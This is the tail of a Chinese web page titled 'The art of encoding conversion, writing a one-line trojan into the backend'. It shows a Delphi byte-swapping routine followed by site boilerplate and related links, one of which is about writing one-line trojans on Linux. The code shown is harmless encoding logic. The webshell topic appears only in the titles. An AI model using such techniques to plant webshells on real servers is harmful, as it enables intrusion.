begin

tmpchar:=buffer[2*i+1];

buffer[2*i+1]:=buffer[2*i+2];

buffer[2*i+2]:=tmpchar;

end;

if SLen>Limit then

SLen:=Limit;

CopyMemory(ADestStr,@buffer,2*SLen);

result:=SLen*2;

result:=2*SLen;

end

else

begin

result:=0;

end;

end;

原文转自:www.ltesting.net

【编码转换的艺术,后台写入一句话木马】相关文章:

1.LINUX下写入一句话木马的方法

2.GSM规范中的部分编码转换.net

下载word文档
《编码转换的艺术,后台写入一句话木马.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度: 评级1星 评级2星 评级3星 评级4星 评级5星
点击下载文档

文档为doc格式

编码转换的艺术,后台写入一句话木马相关文章
最新推荐
猜你喜欢
  • 返回顶部